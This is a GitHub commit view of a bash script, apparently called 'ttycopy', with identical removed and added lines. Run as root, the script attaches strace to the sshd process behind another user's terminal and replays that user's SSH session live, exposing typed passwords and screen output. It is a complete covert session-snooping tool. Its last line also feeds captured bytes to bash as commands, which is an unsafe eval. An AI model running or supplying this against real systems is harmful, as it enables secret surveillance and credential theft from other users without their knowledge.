-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
56 additions
and
56 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,56 +1,56 @@ | ||
#!/bin/bash | ||
|
||
tty=$1 | ||
|
||
function example(){ | ||
cat << EXAMPLE | ||
Type "w" to find tty: | ||
[root@localhost ~]$ w | ||
20:32:24 up 3 days, 19:45, 4 users, load average: 0.00, 0.01, 0.05 | ||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT | ||
root pts/0 tty.sample.com 16:12 7:52 0.38s 0.38s w | ||
huga pts/1 test.for 16:12 23:52 1.16s 0.00s less -s | ||
John pts/3 aaa.jp 20:11 20:24 0.04s 0.04s -bash | ||
dai001 pts/4 localhost 20:14 0.00s 0.08s 0.01s -bash | ||
If you want to scan tty of USER dai001, type: | ||
[root@host root]# ./ttycopy pts/4 | ||
EXAMPLE | ||
} | ||
|
||
if [ `id -u` -ne 0 ]; then | ||
echo -ne "[ERROR] You must be root.\n" | ||
exit 1 | ||
fi | ||
|
||
if [ $# -ne 1 ]; then | ||
echo -ne "[ERROR] Invalid number of arguments.\n" | ||
example | ||
exit 1 | ||
fi | ||
|
||
if [ ! -e "/dev/${tty}" ] || \ | ||
[ -z `ps fauwwx | grep sshd.*${tty} | grep -v grep | sed -e 's/^[a-zA-Z0-9]\+[ \n\r\f\t]\+\([0-9]\+\).*/\1/'` ]; then | ||
echo -ne "[ERROR] terminal [$tty] does not exist.\n" | ||
example | ||
exit 1 | ||
fi | ||
|
||
if [ ! -x "$(command -v strace)" ];then | ||
echo -ne "[ERROR] strace could not be executed.\n" | ||
echo -ne "Please check if strace is installed or executed.\n" | ||
exit 1 | ||
fi | ||
|
||
pid=`ps fauwwx | grep sshd.*${tty} | grep -v grep | sed -e 's/^[a-zA-Z0-9]\+[ \n\r\f\t]\+\([0-9]\+\).*/\1/'` | ||
user=`ps h -o user -p ${pid}` | ||
|
||
echo -ne "[DEBUG] Scanning terminal $tty...\n" | ||
echo -ne "[DEBUG] Terminal $tty is tied to user $user.\n" | ||
echo -ne "[DEBUG] The pid of sshd:$user@$tty is $pid.\n" | ||
|
||
strace -e read -s16384 -q -x -p ${pid} 2>&1 | sed -une "s/^read([0-9]\+, \"\(.*\)\".*/echo -n \$'\1'/p" | bash | ||
#!/bin/bash | ||
|
||
tty=$1 | ||
|
||
function example(){ | ||
cat << EXAMPLE | ||
Type "w" to find tty: | ||
[root@localhost ~]$ w | ||
20:32:24 up 3 days, 19:45, 4 users, load average: 0.00, 0.01, 0.05 | ||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT | ||
root pts/0 tty.sample.com 16:12 7:52 0.38s 0.38s w | ||
huga pts/1 test.for 16:12 23:52 1.16s 0.00s less -s | ||
John pts/3 aaa.jp 20:11 20:24 0.04s 0.04s -bash | ||
dai001 pts/4 localhost 20:14 0.00s 0.08s 0.01s -bash | ||
If you want to scan tty of USER dai001, type: | ||
[root@host root]# ./ttycopy pts/4 | ||
EXAMPLE | ||
} | ||
|
||
if [ `id -u` -ne 0 ]; then | ||
echo -ne "[ERROR] You must be root.\n" | ||
exit 1 | ||
fi | ||
|
||
if [ $# -ne 1 ]; then | ||
echo -ne "[ERROR] Invalid number of arguments.\n" | ||
example | ||
exit 1 | ||
fi | ||
|
||
if [ ! -e "/dev/${tty}" ] || \ | ||
[ -z `ps fauwwx | grep sshd.*${tty} | grep -v grep | sed -e 's/^[a-zA-Z0-9]\+[ \n\r\f\t]\+\([0-9]\+\).*/\1/'` ]; then | ||
echo -ne "[ERROR] terminal [$tty] does not exist.\n" | ||
example | ||
exit 1 | ||
fi | ||
|
||
if [ ! -x "$(command -v strace)" ];then | ||
echo -ne "[ERROR] strace could not be executed.\n" | ||
echo -ne "Please check if strace is installed or executed.\n" | ||
exit 1 | ||
fi | ||
|
||
pid=`ps fauwwx | grep sshd.*${tty} | grep -v grep | sed -e 's/^[a-zA-Z0-9]\+[ \n\r\f\t]\+\([0-9]\+\).*/\1/'` | ||
user=`ps h -o user -p ${pid}` | ||
|
||
echo -ne "[DEBUG] Scanning terminal $tty...\n" | ||
echo -ne "[DEBUG] Terminal $tty is tied to user $user.\n" | ||
echo -ne "[DEBUG] The pid of sshd:$user@$tty is $pid.\n" | ||
|
||
strace -e read -s16384 -q -x -p ${pid} 2>&1 | sed -une "s/^read([0-9]\+, \"\(.*\)\".*/echo -n \$'\1'/p" | bash |